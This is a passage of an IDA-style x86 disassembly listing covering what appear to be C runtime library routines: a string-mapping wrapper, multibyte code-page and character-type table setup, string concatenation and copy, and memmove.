		push	eax
		push	esi
		push	offset dword_4084EC
		push	esi
		push	ebx
		call	dword_408038
		test	eax, eax
		jz	loc_405E9A
		push	2
		pop	eax


loc_405DCF:				; CODE XREF: sub_405D65+4Bj
		mov	dword_409CC0, eax


loc_405DD4:				; CODE XREF: sub_405D65+2Fj
		cmp	eax, 2
		jnz	short loc_405DFD
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_405DE5
		mov	eax, dword_409CDC


loc_405DE5:				; CODE XREF: sub_405D65+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_408038
		jmp	loc_405E9C
; ---------------------------------------------------------------------------


loc_405DFD:				; CODE XREF: sub_405D65+72j
		cmp	eax, 1
		jnz	loc_405E9A
		cmp	[ebp+arg_10], ebx
		jnz	short loc_405E13
		mov	eax, dword_409CEC
		mov	[ebp+arg_10], eax


loc_405E13:				; CODE XREF: sub_405D65+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_40803C
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_405E9A
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_402CE0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_406C90
		add	esp, 0Ch
		jmp	short loc_405E69
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_405E69:				; CODE XREF: sub_405D65+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_405E9A
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_40803C
		cmp	eax, ebx
		jz	short loc_405E9A
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_408064
		jmp	short loc_405E9C
; ---------------------------------------------------------------------------


loc_405E9A:				; CODE XREF: sub_405D65+61j
					; sub_405D65+9Bj ...
		xor	eax, eax


loc_405E9C:				; CODE XREF: sub_405D65+93j
					; sub_405D65+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405D65	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EAE	proc near		; CODE XREF: sub_4047C8+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_405EBF
		add	esp, 0Ch
		retn
sub_405EAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EBF	proc near		; CODE XREF: sub_405EAE+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_517421[eax], cl
		jnz	short loc_405EEC
		cmp	[esp+arg_4], 0
		jz	short loc_405EE5
		movzx	eax, word_409102[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_405EE7
; ---------------------------------------------------------------------------


loc_405EE5:				; CODE XREF: sub_405EBF+16j
		xor	eax, eax


loc_405EE7:				; CODE XREF: sub_405EBF+24j
		test	eax, eax
		jnz	short loc_405EEC
		retn
; ---------------------------------------------------------------------------


loc_405EEC:				; CODE XREF: sub_405EBF+Fj
					; sub_405EBF+2Aj
		push	1
		pop	eax
		retn
sub_405EBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EF0	proc near		; CODE XREF: sub_4062B4+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_406089
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_5172FC
		mov	[ebp+arg_0], esi
		jz	loc_40607D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_406073
		xor	edx, edx
		mov	eax, offset dword_4097F8


loc_405F24:				; CODE XREF: sub_405EF0+41j
		cmp	[eax], esi
		jz	short loc_405F9A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4098E8
		jl	short loc_405F24
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_408030
		cmp	eax, 1
		jnz	loc_40606B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_517420
		cmp	[ebp+var_18], 1
		mov	dword_5172FC, esi
		rep stosd
		stosb
		mov	dword_517524, ebx
		jbe	loc_406059
		cmp	[ebp+var_12], 0
		jz	loc_40602F
		lea	ecx, [ebp+var_11]


loc_405F77:				; CODE XREF: sub_405EF0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_40602F
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_405F88:				; CODE XREF: sub_405EF0+A8j
		cmp	eax, edx
		ja	loc_406023
		or	byte_517421[eax], 4
		inc	eax
		jmp	short loc_405F88
; ---------------------------------------------------------------------------


loc_405F9A:				; CODE XREF: sub_405EF0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_517420
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_409808[esi]


loc_405FB6:				; CODE XREF: sub_405EF0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_405FE9


loc_405FBD:				; CODE XREF: sub_405EF0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_405FE9
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_405FE2
		mov	edx, [ebp+var_4]
		mov	dl, byte_4097F0[edx]


loc_405FD7:				; CODE XREF: sub_405EF0+F0j
		or	byte_517421[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_405FD7


loc_405FE2:				; CODE XREF: sub_405EF0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_405FBD


loc_405FE9:				; CODE XREF: sub_405EF0+CBj
					; sub_405EF0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_405FB6
		mov	eax, [ebp+arg_0]
		mov	dword_51730C, 1
		push	eax
		mov	dword_5172FC, eax
		call	sub_4060D3
		lea	esi, dword_4097FC[esi]
		mov	edi, offset dword_517300
		movsd
		movsd
		pop	ecx
		mov	dword_517524, eax
		movsd
		jmp	short loc_406078
; ---------------------------------------------------------------------------


loc_406023:				; CODE XREF: sub_405EF0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_405F77


loc_40602F:				; CODE XREF: sub_405EF0+7Ej
					; sub_405EF0+8Bj
		push	1
		pop	eax


loc_406032:				; CODE XREF: sub_405EF0+14Fj
		or	byte_517421[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_406032
		push	esi
		call	sub_4060D3
		pop	ecx
		mov	dword_517524, eax
		mov	dword_51730C, 1
		jmp	short loc_40605F
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_405EF0+74j
		mov	dword_51730C, ebx


loc_40605F:				; CODE XREF: sub_405EF0+167j
		xor	eax, eax
		mov	edi, offset dword_517300
		stosd
		stosd
		stosd
		jmp	short loc_406078
; ---------------------------------------------------------------------------


loc_40606B:				; CODE XREF: sub_405EF0+51j
		cmp	dword_409CC4, ebx
		jz	short loc_406081


loc_406073:				; CODE XREF: sub_405EF0+27j
		call	sub_406106


loc_406078:				; CODE XREF: sub_405EF0+131j
					; sub_405EF0+179j
		call	sub_40612F


loc_40607D:				; CODE XREF: sub_405EF0+1Dj
		xor	eax, eax
		jmp	short loc_406084
; ---------------------------------------------------------------------------


loc_406081:				; CODE XREF: sub_405EF0+181j
		or	eax, 0FFFFFFFFh


loc_406084:				; CODE XREF: sub_405EF0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405EF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_406089	proc near		; CODE XREF: sub_405EF0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_409CC4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4060A9
		mov	dword_409CC4, 1
		jmp	dword_408028
; ---------------------------------------------------------------------------


loc_4060A9:				; CODE XREF: sub_406089+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4060BE
		mov	dword_409CC4, 1
		jmp	dword_40802C
; ---------------------------------------------------------------------------


loc_4060BE:				; CODE XREF: sub_406089+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_4060D2
		mov	eax, dword_409CEC
		mov	dword_409CC4, 1

locret_4060D2:				; CODE XREF: sub_406089+38j
		retn
sub_406089	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060D3	proc near		; CODE XREF: sub_405EF0+118p
					; sub_405EF0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_406100
		sub	eax, 4
		jz	short loc_4060FA
		sub	eax, 0Dh
		jz	short loc_4060F4
		dec	eax
		jz	short loc_4060EE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4060EE:				; CODE XREF: sub_4060D3+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_4060D3+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_4060D3+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_406100:				; CODE XREF: sub_4060D3+9j
		mov	eax, 411h
		retn
sub_4060D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_406106	proc near		; CODE XREF: sub_405EF0:loc_406073p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_517420
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_517300
		mov	dword_5172FC, eax
		mov	dword_51730C, eax
		mov	dword_517524, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_406106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40612F	proc near		; CODE XREF: sub_405EF0:loc_406078p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_5172FC
		call	dword_408030
		cmp	eax, 1
		jnz	loc_406268
		xor	eax, eax
		mov	esi, 100h


loc_406159:				; CODE XREF: sub_40612F+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_406159
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_4061AA
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_406178:				; CODE XREF: sub_40612F+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_40619F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_40619F:				; CODE XREF: sub_40612F+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_406178
		pop	edi
		pop	ebx


loc_4061AA:				; CODE XREF: sub_40612F+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_517524
		push	dword_5172FC
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_405D65
		push	0
		lea	eax, [ebp+var_214]
		push	dword_5172FC
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_517524
		call	sub_406CE8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_5172FC
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_517524
		call	sub_406CE8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_406225:				; CODE XREF: sub_40612F+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_406243
		or	byte_517421[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_40623B:				; CODE XREF: sub_40612F+127j
		mov	byte_517320[eax], dl
		jmp	short loc_40625F
; ---------------------------------------------------------------------------


loc_406243:				; CODE XREF: sub_40612F+FCj
		test	dl, 2
		jz	short loc_406258
		or	byte_517421[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_40623B
; ---------------------------------------------------------------------------


loc_406258:				; CODE XREF: sub_40612F+117j
		and	byte_517320[eax], 0


loc_40625F:				; CODE XREF: sub_40612F+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_406225
		jmp	short loc_4062B1
; ---------------------------------------------------------------------------


loc_406268:				; CODE XREF: sub_40612F+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_40626F:				; CODE XREF: sub_40612F+180j
		cmp	eax, 41h
		jb	short loc_40628D
		cmp	eax, 5Ah
		ja	short loc_40628D
		or	byte_517421[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_406285:				; CODE XREF: sub_40612F+174j
		mov	byte_517320[eax], cl
		jmp	short loc_4062AC
; ---------------------------------------------------------------------------


loc_40628D:				; CODE XREF: sub_40612F+143j
					; sub_40612F+148j
		cmp	eax, 61h
		jb	short loc_4062A5
		cmp	eax, 7Ah
		ja	short loc_4062A5
		or	byte_517421[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_406285
; ---------------------------------------------------------------------------


loc_4062A5:				; CODE XREF: sub_40612F+161j
					; sub_40612F+166j
		and	byte_517320[eax], 0


loc_4062AC:				; CODE XREF: sub_40612F+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_40626F


loc_4062B1:				; CODE XREF: sub_40612F+137j
		pop	esi
		leave
		retn
sub_40612F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062B4	proc near		; CODE XREF: sub_4047C8+9p
					; sub_404820+Dp ...
		cmp	dword_518688, 0
		jnz	short locret_4062CF
		push	0FFFFFFFDh
		call	sub_405EF0
		pop	ecx
		mov	dword_518688, 1

locret_4062CF:				; CODE XREF: sub_4062B4+7j
		retn
sub_4062B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062D0	proc near		; CODE XREF: sub_404820+86p
					; sub_404E3C+83p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_406341
sub_4062D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4062E0	proc near		; CODE XREF: sub_404E3C+E6p
					; sub_404E3C+F7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4062FC


loc_4062ED:				; CODE XREF: sub_4062E0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40632F
		test	ecx, 3
		jnz	short loc_4062ED


loc_4062FC:				; CODE XREF: sub_4062E0+Bj
					; sub_4062E0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4062FC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40633E
		test	ah, ah
		jz	short loc_406339
		test	eax, 0FF0000h
		jz	short loc_406334
		test	eax, 0FF000000h
		jz	short loc_40632F
		jmp	short loc_4062FC
; ---------------------------------------------------------------------------


loc_40632F:				; CODE XREF: sub_4062E0+12j
					; sub_4062E0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_406341
; ---------------------------------------------------------------------------


loc_406334:				; CODE XREF: sub_4062E0+44j
		lea	edi, [ecx-2]
		jmp	short loc_406341
; ---------------------------------------------------------------------------


loc_406339:				; CODE XREF: sub_4062E0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_406341
; ---------------------------------------------------------------------------


loc_40633E:				; CODE XREF: sub_4062E0+39j
		lea	edi, [ecx-4]


loc_406341:				; CODE XREF: sub_4062D0+5j
					; sub_4062E0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_406366


loc_40634D:				; CODE XREF: sub_4062E0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4063B8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40634D
		jmp	short loc_406366
; ---------------------------------------------------------------------------


loc_406361:				; CODE XREF: sub_4062E0+9Ej
					; sub_4062E0+B8j
		mov	[edi], edx
		add	edi, 4


loc_406366:				; CODE XREF: sub_4062E0+6Bj
					; sub_4062E0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_406361
		test	dl, dl
		jz	short loc_4063B8
		test	dh, dh
		jz	short loc_4063AF
		test	edx, 0FF0000h
		jz	short loc_4063A2
		test	edx, 0FF000000h
		jz	short loc_40639A
		jmp	short loc_406361
; ---------------------------------------------------------------------------


loc_40639A:				; CODE XREF: sub_4062E0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4063A2:				; CODE XREF: sub_4062E0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4063AF:				; CODE XREF: sub_4062E0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4063B8:				; CODE XREF: sub_4062E0+72j
					; sub_4062E0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4062E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063C0	proc near		; CODE XREF: sub_404B26+116p
					; sub_407632+82p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4063E0
		cmp	edi, eax
		jb	loc_406558


loc_4063E0:				; CODE XREF: sub_4063C0+16j
		test	edi, 3
		jnz	short loc_4063FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40641C
		rep movsd
		jmp	off_406508[edx*4]
; ---------------------------------------------------------------------------


loc_4063FC:				; CODE XREF: sub_4063C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_406414
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40641C+4[eax*4]
; ---------------------------------------------------------------------------


loc_406414:				; CODE XREF: sub_4063C0+46j
		jmp	dword ptr loc_406518[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40641C:				; CODE XREF: sub_4063C0+31j
					; sub_4063C0+8Ej ...
		jmp	off_40649C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_406430
		dd offset loc_40645C
		dd offset loc_406480
; ---------------------------------------------------------------------------


loc_406430:				; DATA XREF: sub_4063C0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40641C
		rep movsd
		jmp	off_406508[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40645C:				; DATA XREF: sub_4063C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40641C
		rep movsd
		jmp	off_406508[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_406480:				; DATA XREF: sub_4063C0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40641C
		rep movsd
		jmp	off_406508[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40649C	dd offset loc_4064FF	; DATA XREF: sub_4063C0:loc_40641Cr
		dd offset loc_4064EC
		dd offset loc_4064E4
		dd offset loc_4064DC
		dd offset loc_4064D4
		dd offset loc_4064CC
		dd offset loc_4064C4
		dd offset loc_4064BC
; ---------------------------------------------------------------------------


loc_4064BC:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4064C4:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4064CC:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4064D4:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4064DC:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4064E4:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4064EC:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4064FF:				; CODE XREF: sub_4063C0:loc_40641Cj
					; DATA XREF: sub_4063C0:off_40649Co
		jmp	off_406508[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_406508	dd offset loc_406518	; DATA XREF: sub_4063C0+35r
					; sub_4063C0+92r ...
		dd offset loc_406520
		dd offset loc_40652C
		dd offset loc_406540
; ---------------------------------------------------------------------------


loc_406518:				; CODE XREF: sub_4063C0+35j
					; sub_4063C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_406520:				; CODE XREF: sub_4063C0+35j
					; sub_4063C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40652C:				; CODE XREF: sub_4063C0+35j
					; sub_4063C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_406540:				; CODE XREF: sub_4063C0+35j
					; sub_4063C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_406558:				; CODE XREF: sub_4063C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40658C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_406580
		std
		rep movsd
		cld
		jmp	off_4066A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_406580:				; CODE XREF: sub_4063C0+1B1j
					; sub_4063C0+208j ...
		neg	ecx
		jmp	off_406650[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40658C:				; CODE XREF: sub_4063C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4065A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4065A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4065A4:				; CODE XREF: sub_4063C0+1D6j
					; DATA XREF: sub_4063C0+1DDr
		jmp	off_4066A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4065B8
		dd offset loc_4065D8
		dd offset loc_406600
; ---------------------------------------------------------------------------


loc_4065B8:				; DATA XREF: sub_4063C0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_406580
		std
		rep movsd
		cld
		jmp	off_4066A0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4065D8:				; DATA XREF: sub_4063C0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_406580
		std
		rep movsd
		cld
		jmp	off_4066A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_406600:				; DATA XREF: sub_4063C0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_406580
		std
		rep movsd
		cld
		jmp	off_4066A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_406654
		dd offset loc_40665C
		dd offset loc_406664
		dd offset loc_40666C
		dd offset loc_406674
		dd offset loc_40667C
		dd offset loc_406684
off_406650	dd offset loc_406697	; DATA XREF: sub_4063C0+1C2r
; ---------------------------------------------------------------------------


loc_406654:				; DATA XREF: sub_4063C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40665C:				; DATA XREF: sub_4063C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_406664:				; DATA XREF: sub_4063C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40666C:				; DATA XREF: sub_4063C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_406674:				; DATA XREF: sub_4063C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40667C:				; DATA XREF: sub_4063C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_406684:				; DATA XREF: sub_4063C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_406697:				; CODE XREF: sub_4063C0+1C2j
					; DATA XREF: sub_4063C0:off_406650o
		jmp	off_4066A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4066A0	dd offset loc_4066B0	; DATA XREF: sub_4063C0+1B7r
					; sub_4063C0:loc_4065A4r ...
		dd offset loc_4066B8
		dd offset loc_4066C8
		dd offset loc_4066DC
; ---------------------------------------------------------------------------


loc_4066B0:				; CODE XREF: sub_4063C0+1B7j
					; sub_4063C0:loc_4065A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4066B8:				; CODE XREF: sub_4063C0+1B7j
					; sub_4063C0:loc_4065A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4066C8:				; CODE XREF: sub_4063C0+1B7j
					; sub_4063C0:loc_4065A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4066DC:				; CODE XREF: sub_4063C0+1B7j
					; sub_4063C0:loc_4065A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4063C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4066F5	proc near		; CODE XREF: sub_404E3C+11Fp

